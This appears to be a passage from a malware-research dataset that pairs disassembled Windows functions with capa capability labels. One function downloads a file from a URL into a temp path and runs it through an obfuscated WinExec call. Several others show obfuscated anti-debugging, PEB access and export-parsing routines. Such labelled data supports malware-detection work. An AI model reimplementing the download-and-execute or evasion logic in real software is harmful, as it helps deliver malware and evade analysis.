joyce8/EMBER2024-capa huggingface dataset:
Function at 0x591a70
Capabilities:
Create directory
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c47d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x40
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x10], esp
push 1
push eax
call fcn.004ed7a0
add esp, 8
push str.AutoUpdate.exe.new
lea ecx, [ebp - 0x14]
push eax
push ecx
mov dword [ebp - 4], 0
call sub.MFC42.DLL_operator_3
mov bl, 2
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x4c]
call sub.MFC42.DLL_CFileFind::CFileFind
mov edx, dword [ebp - 0x14]
push 0
push edx
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
jne 0x591ae8
mov byte [ebp - 4], bl
jmp 0x591c0c
lea eax, [ebp - 0x28]
push 1
push eax
call fcn.004ed7a0
add esp, 8
push str.Backup
lea ecx, [ebp - 0x20]
push eax
push ecx
mov byte [ebp - 4], 4
call sub.MFC42.DLL_operator_3
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea edx, [ebp - 0x2c]
push 1
push edx
call fcn.004ed7a0
add esp, 8
push str.AutoUpdate.exe
push eax
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 7
push eax
call sub.MFC42.DLL_operator_3
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
push 1
push ecx
call fcn.004ed7a0
add esp, 8
push str.BackupAutoUpdate.exe
lea edx, [ebp - 0x18]
push eax
push edx
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_operator_3
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0xc
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp - 0x18]
mov byte [ebp - 4], 0xd
push eax
call sub.MFC42.DLL_CFile::Remove
push 0
push 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0xc
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xf
call sub.MFC42.DLL_CString::GetBuffer
push 0
lea ecx, [ebp - 0x14]
mov esi, eax
call sub.MFC42.DLL_CString::GetBuffer
push esi
push eax
call sub.MFC42.DLL_CFile::Rename
jmp 0x591be1
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4c]
call fcn.0059705a
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov al, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x595610
Capabilities:
Get disk information

Disassembly:
push ecx
mov eax, dword [0x63ac10]
push edi
or ecx, 0xffffffff
mov edx, dword [eax + 0x44]
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
cmp ecx, 2
jbe 0x595652
mov cx, word [edx]
lea edx, [esp]
mov word [esp + 1], ax
push edx
mov word [esp + 4], cx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
jbe 0x595652
cmp eax, 5
je 0x595652
mov al, 1
pop ecx
ret
xor al, al
pop ecx
ret

Function at 0x595fe0
Capabilities:
Create thread

Disassembly:
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 4]
test eax, eax
jne 0x59604c
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 1
push 0
call edi
push 0
push 0
push 1
push 0
mov dword [esi + 8], eax
call edi
push 0
push 0
push 1
push 0
mov dword [esi + 0xc], eax
call edi
mov dword [esi + 0x10], eax
lea eax, [esp + 8]
push eax
push 0
push esi
push 0x5960e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xc8
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esi + 4]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
pop ecx
ret
mov al, 1
pop esi
pop ecx
ret

Function at 0x596060
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
xor ebp, ebp
push edi
mov eax, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebp
je 0x59608a
push 0x442
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 4]
push eax
call edi
mov dword [esi + 4], ebp
mov ecx, dword [esi + 8]
push ecx
call edi
mov edx, dword [esi + 0xc]
mov dword [esi + 8], ebp
push edx
call edi
mov eax, dword [esi + 0x10]
mov dword [esi + 0xc], ebp
push eax
call edi
mov dword [esi + 0x10], ebp
mov eax, dword [esi + 0x40]
xor ebx, ebx
cmp eax, ebp
jle 0x5960d0
mov ecx, dword [esi + 0x3c]
mov edi, dword [ecx + ebx*4]
cmp edi, ebp
je 0x5960c8
mov ecx, edi
call fcn.00596750
push edi
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, dword [esi + 0x40]
inc ebx
cmp ebx, eax
jl 0x5960ae
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x597e50
Capabilities:
Encrypt data using blowfish

Disassembly:
mov eax, dword [esp + 0x10]
sub esp, 0x40
push ebp
mov ebp, ecx
mov ecx, dword [eax]
mov dword [ebp], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 4], edx
mov ecx, dword [eax]
mov dword [ebp + 8], ecx
mov edx, dword [eax + 4]
mov ecx, dword [esp + 0x4c]
mov al, byte [esp + 0x50]
cmp ecx, 1
mov dword [ebp + 0xc], edx
mov byte [ebp + 0x1058], al
jae 0x597e8c
xor al, al
pop ebp
add esp, 0x40
ret 0x10
cmp ecx, 0x38
jbe 0x597e9a
mov ecx, 0x38
mov dword [esp + 0x4c], ecx
push ebx
push esi
mov esi, dword [esp + 0x50]
mov edx, ecx
push edi
lea edi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp + 0x10]
and ecx, 3
mov dword [esp + 0x54], 0x12
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x12
mov esi, 0x5d34e4
mov edi, edx
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x58]
mov ecx, 0x400
mov esi, 0x5d352c
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x18]
xor esi, esi
mov edi, edx
mov bl, byte [ebp + 0x1058]
xor eax, eax
mov byte [esp + 0x5c], bl
mov dword [esp + 0x60], 4
mov bl, byte [esp + 0x5c]
test bl, bl
je 0x597f0b
xor ebx, ebx
mov bl, byte [ecx]
shl eax, 8
or eax, ebx
inc ecx
jmp 0x597f15
xor ebx, ebx
mov bl, byte [ecx]
or eax, ebx
inc ecx
shl eax, 8
mov ebx, dword [esp + 0x58]
inc esi
cmp esi, ebx
jne 0x597f24
xor esi, esi
lea ecx, [esp + 0x18]
mov ebx, dword [esp + 0x60]
dec ebx
mov dword [esp + 0x60], ebx
jne 0x597ef7
mov ebx, dword [edi]
add edi, 4
xor ebx, eax
mov eax, dword [esp + 0x54]
mov dword [edi - 4], ebx
dec eax
mov dword [esp + 0x54], eax
jne 0x597ee3
xor edi, edi
mov esi, edx
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.00597fd0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x12
jb 0x597f50
lea ebx, [ebp + 0x58]
mov dword [esp + 0x5c], 4
xor edi, edi
mov esi, ebx
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.00597fd0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x100
jl 0x597f84
mov eax, dword [esp + 0x5c]
add ebx, 0x400
dec eax
mov dword [esp + 0x5c], eax
jne 0x597f80
pop edi
pop esi
pop ebx
mov al, 1
pop ebp
add esp, 0x40
ret 0x10

Function at 0x598df0
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 0x14]
test edi, edi
jle 0x598e1b
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x10]
sub ecx, eax
sub esi, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor dl, bl
mov byte [esi + eax], dl
inc eax
dec edi
jne 0x598e0b
pop esi
pop ebx
pop edi
ret

Function at 0x598f90
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x10001000
Capabilities:
Accept command line arguments

Disassembly:
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
inc esi
cmp al, 0x22
jne 0x1000103f
push 0x22
push esi
call fcn.100010a0
mov edx, eax
add esp, 8
test edx, edx
je 0x10001056
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 2
ja 0x1000103a
mov esi, 0x10006490
jmp 0x10001056
lea esi, [edx + 2]
jmp 0x10001056
push 0x20
push esi
call fcn.100010a0
add esp, 8
mov esi, 0x10006494
test eax, eax
je 0x10001056
lea esi, [eax + 1]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
push 0
push 0x3e8
push ecx
push esi
push edx
push eax
call sub.PBVM60.dll_Ordinal_137
pop edi
pop esi
ret 0x10

Function at 0x100013a0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x100064ec]
push ebx
push ebp
mov ebp, dword [esp + 0xc]
cmp eax, 1
push esi
jne 0x100013bf
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x100064e8], 1
mov byte [0x100064e4], bl
jne 0x10001419
mov ecx, dword [0x10006888]
test ecx, ecx
je 0x10001407
mov esi, dword [0x10006884]
sub esi, 4
cmp esi, ecx
jb 0x10001407
mov eax, dword [esi]
test eax, eax
je 0x10001400
call eax
mov ecx, dword [0x10006888]
sub esi, 4
cmp esi, ecx
jae 0x100013f2
push 0x10004014
push 0x10004010
call fcn.10001450
add esp, 8
push 0x1000401c
push 0x10004018
call fcn.10001450
add esp, 8
test ebx, ebx
jne 0x10001440
push ebp
mov dword [0x100064ec], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebp
pop ebx
ret
Function at 0xfe2f7c
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov bh, 0xfa
bswap ecx
lea ebx, [eax*4]
neg ebx
jmp 0xfe262c
add edi, 4
jmp 0xfe2611
jnp 0xfe2642
jp fcn.00fe267e
push 0xf0fd1b40
jmp 0xfe2e9e
jmp fcn.00fe267e
bswap ebx
jmp 0xfe269e
bswap ebx
mov bx, word [esp]
lea ebx, [edx + edi]
dec ebx
not ecx
jmp 0xfe268a
movzx edx, byte [ebp - 1]
rcr bl, cl
jle 0xfe2658
jg 0xfe2660
not ecx
rcr ecx, 0x1c
sub esp, 0xd
jne 0xfe26a8
je 0xfe26d2
xchg ebp, eax
or ebx, dword [ebx + reloc.WINMM.dll_midiStreamOut]
cmp dword [eax], ebx
jnp 0xfe2705
mov bx, word [esp]
mov ebx, dword [esp]
lea ebx, [edx + edi]
dec ebx
jmp 0xfe2688
lea esp, [esp + 1]
jmp 0xfe2750
push ebp
mov word [esp + 1], dx
cmc
jl 0xfe2627
jge 0xfe2627
lea esp, [esp + 1]
jmp 0xfe2750
lea ecx, [eax*4]
jmp 0xfe26e5
mov ebx, 0x160db906
jmp 0xfe2720
jmp 0xfe26bf
stc
bsf ecx, edi
jmp 0xfe278d
mov bl, dl
mov ecx, 0x328f8c6b
mov cl, 0xae
mov ecx, dword [esp]
shr ch, 4
jmp 0xfe2735
jne 0xfe2707
stc
bsf ecx, edi
call fcn.00fe2763
add edx, 0x994f6bdf
jmp 0xfe44d2
sub dl, al
clc
jnp 0xfe26d8
lea ecx, [eax*4]
mov ebx, 0x160db906
jmp 0xfe2720
jmp 0xfe27a3
dec bl
mov ecx, 0x97b9f57d
bsr cx, sp
jmp 0xfe282a
lea esp, [esp + 1]
xchg dword [esp + 0x20], ecx
lea ecx, [eax + ebx]
mov ecx, dword [esp]
cmc
push dword [esp + 0x20]
ret 0x24
lea ecx, [ecx + edx]
xchg cl, ch
shl cx, 1
neg cx
ror bl, 0
call fcn.00fe2811
inc edi
fdiv qword [edx + 0x15]
in al, 0x53
mov bl, 0x29
mov ecx, 0xc8992bd8
imul eax, dword [edx + reloc.WINMM.dll_midiStreamOut], 0xffffff83
in al, dx
adc esp, dword [esi - 0x77]
dec esp
and al, 5
mov byte [esp + 1], bl
push ebp
pop word [esp + 0xe]
jmp 0xfe27b9
shl cx, 1
neg cx
jmp 0xfe27da
jge 0xfe27cf
lea ecx, [ecx + edx]
xchg cl, ch
jmp 0xfe2809
mov esi, dword [esp + 0x2c]
mov eax, ebp
not dx
mov bh, dl
jmp 0xfe2ec2
mov esi, ebx
mov cl, byte [esp]
mov cx, 0xda56
shl ecx, cl
jmp 0xfe2ed8
pushfd
jmp 0xfe2edc
jl 0xfe2e88
jge 0xfe2e88
lea ebp, [esp + 4]
neg bl
jmp 0xfe2f29
btc edx, edx
push edx
mov di, ax
jmp 0xfe2f47
mov di, ax
jmp 0xfe2f47
ja 0xfe2ee8
btc edx, edx
push edx
jmp 0xfe2f13
jmp 0xfe2f5f
sub esp, 0xb8
mov edi, esp
bt bx, dx
jb 0xfe2f31
mov ch, byte [esp]
jmp 0xfe2fd1
mov ch, byte [esp]
mov ch, 0xf
rdtsc
mov ebx, esi
lea eax, [edi*4]
call 0xfe2f7c
jle 0xfe2fbf
call 0xf71c64
dec dword [edi]
xor eax, ebp
and eax, 0x2000000
invalid
adc al, 0x3f
mov eax, ecx
lea esi, [esi + 0x1e]
mov edx, dword [esp]
mov dh, cl
jmp 0xfe2ff1
mov ch, 0xf
rdtsc
jmp 0xfe2f66
mov ax, 0xf73c
push dword [esp + 4]
ret 8
not cl
mov ecx, esp
lea eax, [edx + ebx]
xchg dword [esp + 4], esi
mov cx, bx
setg cl
jmp 0xfe2fd7
mov ecx, edi
mov ecx, dword [esp]
jmp 0xfe4507
lea ecx, [esi + edi]
jmp 0xfe4523
mov esp, edi
sub esp, 0x1e
js 0xfe44f1
lea ecx, [esi + edi]
not cx
lea esp, [esp + 2]
call fcn.00fe45e0
xor ch, cl
sbb eax, 0x66ffffe2
not ecx
not cx
lea esp, [esp + 2]
push edx
ret

Function at 0xfefced
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
jmp 0xfd4e73
xor ecx, ecx
cmp dword [esp + 4], ecx
jbe 0xfd4e8d
push esi
movzx esi, byte [ecx + edx]
rol eax, 7
xor eax, esi
inc ecx
cmp ecx, dword [esp + 8]
jb 0xfd4e7c
pop esi
jmp 0xfd4e98
ret 4
jmp 0xfd4e66
Function at 0x1036fbc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add eax, ecx
stc
pushal
jmp 0x1037007
lea esp, [esp + 4]
and dword [ebp - 8], edi
jmp 0x1036f4d
add ebx, ecx
lea esp, [esp + 0x40]
dec eax
call fcn.01036f91
mov dword [ebp - 0xc], ebx
call 0x1036fbc
jle 0x1036f46
inc ebp
cld
jmp 0x1036ff0
lea esp, [esp + 0x10]
js 0x1036ccd
jmp 0x1036d0f
mov dword [ebp - 0x10], eax
not eax
mov eax, dword [esi + 0x18]
pushal
jmp 0x1036fa7

Function at 0x10370ad
Capabilities:
Resolve function by parsing pe exports

Disassembly:
pushal
mov dword [esp + 0x14], ebp
cmc
sub esp, 0xb
add esp, 6
jmp 0x10370d6
lea esp, [esp + 1]
lea esp, [esp + 3]
popal
push edx
jmp 0x1037097

Function at 0x10c339d
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ecx
xchg dx, si
neg al
pop si
mov bp, 0x8e44
jmp 0x10c33c8

Function at 0x10c34a0
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dh, bh
call 0x10c3380
mov word [esp], bp
push word [esp + 0x11]
mov word [esp + 0xd], bx
lea esp, [esp + 2]
lea esp, [esp + 0x14]
pushal
jmp 0x10c3396
jmp 0x10c33ec
Function at 0x10c381b
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
xchg dword [esp + 0xc], esi
sub esp, 4
mov dx, word [esp + 0x12]
mov eax, 0x4ec0f251
xchg dword [esp + 9], ecx
jmp 0x10c3779
neg dx
neg bx
sbb ah, 0x67
std
btr ecx, ebp
xchg byte [esp + 0xc], ch
jmp 0x10c372e
mov edx, dword [esp + 0x1e]
mov cx, 0x64a2
mov byte [esp + 0x10], ah
jmp 0x10c37c1
pop esi
mov dword [esp + 0x19], esi
inc bx
cpuid
bt ax, sp
mov esi, ebx
jmp 0x10c3763
xchg bp, ax
lea eax, [edx + esi]
push dword [esp + 0x14]
xchg bp, ax
and dx, 0xd7df
pushfd
jmp 0x10c3750
lea esp, [esp + 0xa]
mov bp, 0x5fe3
shl edx, 4
mov byte [esp + 4], cl
jmp 0x10c37ec
push word [esp + 0xe]
xchg dword [esp + 0x20], edi
dec di
push dword [esp + 0xe]
cpuid
mov bh, 0x64
jmp 0x10c37ab
lea edi, [ebx + edi]
mov word [esp + 0x15], bp
mov dh, byte [esp + 0xe]
cld
jmp 0x10c3800
lea ebx, [edi + ebp]
pop ebx
bsf si, cx
xchg word [esp + 0x19], dx
cmc
btr ax, bp
jmp 0x10c37d6
mov ax, 0xfa1c
pop cx
pop ax
lea esp, [esp + 8]
mov edi, dword [esp + 0xb]
mov dword [esp + 4], esi
jmp 0x10c39ad
jmp 0x10c3798
setle cl
pop ecx
add esp, 1
mov al, 0xcc
pushfd
bsf eax, eax
jmp 0x10c386d
mov edi, edx
add esp, 0xe
xchg word [esp + 3], di
not bh
lea esi, [eax + ebp]
setg cl
jmp 0x10c3820
xchg ecx, edi
xchg al, ch
xchg esi, ebx
lea edx, [edi*4]
sub edx, 0xb24789e1
pushal
jmp 0x10c387e
pop word [esp]
mov cl, 0x28
cld
mov ax, dx
dec dh
mov edx, dword [esp]
jmp 0x10c3851
popal
lea edi, [ebp + ebp]
lea ebx, [edx + ebp]
mov edi, 0x3d4c345e
pop ax
add esp, 0
jmp 0x10c38c7
mov dx, 0xc5e3
mov eax, ecx
mov dword [esp + 0xa], ebx
mov si, 0x8da6
mov bx, dx
rcl bh, 3
jmp 0x10c383d
xchg byte [esp], ah
stc
xchg bl, ah
lea eax, [ebp - 0xa9]
jmp 0x10c38ef
add esp, 0
mov eax, edx
mov edx, dword [esp]
lea esp, [esp]
xchg si, bx
cpuid
jmp 0x10c38b1
lea ebx, [edi*4]
std
mov eax, 0xbcbd4c69
cpuid
cld
jmp 0x10c3903
mov di, 0xb259
cmc
and edx, 0xe4c3f8cf
mov esi, dword [esp]
push eax
push dword [esp]
jmp 0x10c38d9
ror cl, 1
xchg si, ax
mov ebp, ebx
call fcn.010c3938
jnp 0x10c38fe
jge 0x10c3917
test dword [esi + 0x6b], reloc.WINMM.dll_midiStreamOut
insb byte es:[edi], dx
or eax, dword [esi]
scasd eax, dword es:[edi]
dec edi
salc
inc ecx
ret
xchg si, bp
push dword [esp + 0xd]
shr ecx, 0x14
mov edx, eax
rdtsc
mov word [esp + 9], sp
jmp 0x10c389b
mov dx, word [esp + 0xd]
xor edx, ecx
neg dl
setge bh
lea edi, [esp + 0x3f]
bswap ecx
jmp 0x10c3920
neg dl
xchg di, ax
pop word [esp + 3]
push word [esp + 8]
add esp, 2
mov si, word [esp + 9]
jmp 0x10c394e
Function at 0x10c3d92
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg byte [esp + 1], dl
pushal
bt dx, sp
mov dh, 0xd9
rdtsc
pop edx
jmp 0x10c3d9b
cld
inc bh
lea esp, [esp + 5]
jmp 0x10c3d7c
pop word [esp + 0x19]
bswap edi
push word [esp + 0x19]
setne bh
lea eax, [ebx*4]
inc edi
jmp 0x10c3dd2
not esi
mov dh, 0x43
mov di, 0x482c
rdtsc
sbb bp, si
mov ecx, dword [esp + 0xd]
jmp 0x10c3e2e
neg esi
mov al, byte [esp + 0x11]
pushal
push word [esp + 0x20]
lea esp, [esp + 0x41]
lea edx, [eax - 0x39]
jmp 0x10c3e10
xchg cl, dl
not eax
lea eax, [edi + edi]
not dh
mov ecx, dword [esp]
xchg dl, al
jmp 0x10c3e49
lea ebp, [edi*4]
mov bp, 0xe26f
lea edx, [esp + edx]
mov word [esp + 0x11], cx
xchg dword [esp + 0x19], ebx
rdtsc
jmp 0x10c3de5
bt di, cx
bsr esi, esi
mov si, 0x865b
setle dl
mov esi, esp
setae dl
jmp 0x10c3eb4
cmp dx, 0xe26a
adc cl, bh
mov word [esp + 1], bx
pop ecx
jmp 0x10c3edb
pushal
clc
not cx
not dh
xchg byte [esp + 3], dl
mov edx, edi
jmp 0x10c3e7c
xchg cl, bl
mov cx, word [esp]
clc
bt ax, bp
not dx
cld
jmp 0x10c3e92
sub esp, 0xc
popal
sub esp, 0x1c
lea ecx, reloc.WINMM.dll_midiStreamOut
jmp 0x10c3f4a
push dword [esp + 0x11]
stc
neg ax
not si
not di
add ebp, esi
jmp 0x10c3ec5
push word [esp + 0x1b]
mov si, 0x8b0a
mov bp, word [esp + 0x22]
popal
jmp 0x10c3f7a
lea edi, reloc.WINMM.dll_midiStreamOut
mov word [esp + 0x23], di
mov bp, word [esp + 3]
add esp, 0
jmp 0x10c3f1a
btr ax, dx
mov ebp, dword [esp + 5]
shr ebx, 0x1e
pop word [esp + 0x11]
mov bp, word [esp + 1]
sbb si, ax
jmp 0x10c3f30
setg al
not cx
xchg ebx, eax
cmc
btc cx, cx
not bx
jmp 0x10c3fd0
dec cx
mov bx, word [esp + 4]
inc ch
pop eax
push word [esp + 3]
add esp, 5
jmp 0x10c3f64
mov esi, 0xf52d9513
cld
lea esp, [esp + 0xa]
mov word [esp], di
jmp 0x10c3fb7
sub esp, 0x14
lea ecx, [ecx + ebx]
mov ecx, 0xf618a999
clc
std
mov bl, byte [esp + 0xb]
jmp 0x10c3f8e
mov bx, 0x81c8
rdtsc
mov ebx, esp
mov ax, si
inc cx
jmp 0x10c3fe4
lea esp, [esp]
add esp, 0
bt edi, eax
lea esp, [esp]
lea esp, [esp]
btc esi, ecx
jmp 0x10c3fa4
lea edi, [ebp*4]
mov dword [esp + 6], esp
pop cx
mov bh, ch
mov ebp, edi
xchg dx, di
jmp 0x10c43da
pop eax
call 0x10c41c4
Function at 0x10c4062
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov bh, ah
mov ax, word [esp + 0xa]
lea esp, [esp]
lea esp, [esp + 4]
neg eax
jmp 0x10c403f
bsf bp, bx
shl edi, cl
xor cl, ch
sub ah, 0x87
mov dword [esp + 5], edx
pop word [esp]
jmp 0x10c3ffe
mov bl, 0x37
xchg cx, si
push dword [esp + 5]
xchg esi, eax
cld
not dl
jmp 0x10c4114
push ebp
std
lea eax, [ecx + edi]
mov bl, 0x8d
mov ecx, dword [esp + 2]
mov ax, word [esp + 6]
jmp 0x10c4029
setl bl
bsf si, di
jmp 0x10c4014
mov dword [esp], ebp
neg di
pop dword [esp]
btr edi, esp
jmp 0x10c4096
setae bl
mov word [esp + 0xa], ax
bsf edx, edx
lea esp, [esp + 6]
cpuid
xchg ebx, eax
jmp 0x10c406b
mov eax, 0xc247354a
not ch
lea ebx, [esi + edi]
xchg dword [esp], edi
rdtsc
mov dl, 0x34
jmp 0x10c40e1
mov dword [esp], ebx
lea esp, [esp]
add esp, 2
clc
mov byte [esp + 5], ah
push ecx
jmp 0x10c4081
xchg byte [esp + 1], ah
bsr ebp, esi
xchg si, bx
bswap esi
xchg cx, dx
jmp 0x10c40f6
xchg byte [esp], cl
xchg byte [esp + 2], bh
rdtsc
xchg edx, eax
btr eax, edi
mov bp, word [esp + 1]
jmp 0x10c40cb
mov ax, di
pop dx
add esp, 0
mov edx, 0x12639b9e
mov ax, bx
mov ch, bh
jmp 0x10c4128
add esp, 0xe
rdtsc
lea ecx, [ebx*4]
clc
bswap esi
sub esp, 0xb
jmp 0x10c40ba
mov dl, 0x71
cmc
sub esp, 8
call fcn.010c4134
in al, 0xf
bts edx, edx
cpuid
push word [esp + 8]
jmp 0x10c4188
insd dword es:[edi], dx
imul esp, dword [ecx + ebp*2 + 0x53], 0x61657274
insd dword es:[edi], dx
dec edi
jne 0x10c41c1
add byte [edi], dl
jle 0x10c419a
add al, ch
mov ah, byte [esp + 2]
bswap edi

Function at 0x10c87d7
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
mov dword [esp + 8], esp
pushal
push dword [esp + 3]
mov byte [esp], bl
jmp 0x10c87d9
jmp 0x10c87c1
push word [esp + 0x1d]
pop word [esp + 0x16]
mov dword [esp + 0x28], ebp
pushal
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], edi
jmp 0x10c8830
lea esp, [esp + 0x40]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x10c881a
Function at 0x4010b0
Capabilities:
Delete file
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x401598
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x31c
push ebx
push esi
lea eax, [ebp - 0x328]
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x224]
xor ebx, ebx
push ecx
push ebx
lea edx, [ebp - 0x328]
push 0x403054
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0x403030
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11f]
mov byte [ebp - 0x120], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], ebx
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::GetBuffer
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x120]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0xffffffffffffffff
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
push ebx
lea edx, [ebp - 0x224]
push ebx
lea eax, [ebp - 0x120]
push edx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], ebx
push ecx
push 0x403020
mov byte [ebp - 0x1c], 0x57
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x45
mov byte [ebp - 0x18], 0x78
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [ebp - 0x224]
push 5
push edx
call eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040131a
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10012270
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x100122a0
push esi
call fcn.10019380
mov al, byte [esi + 0x40]
add esp, 4
test al, al
je 0x10012299
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x10012323
mov eax, dword [esi + 0x190]
mov cl, byte [eax + 0x10]
test cl, cl
je 0x1001230f
mov eax, dword [esi + 8]
test eax, eax
je 0x100122c4
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x190]
push esi
call dword [ecx]
add esp, 4
test eax, eax
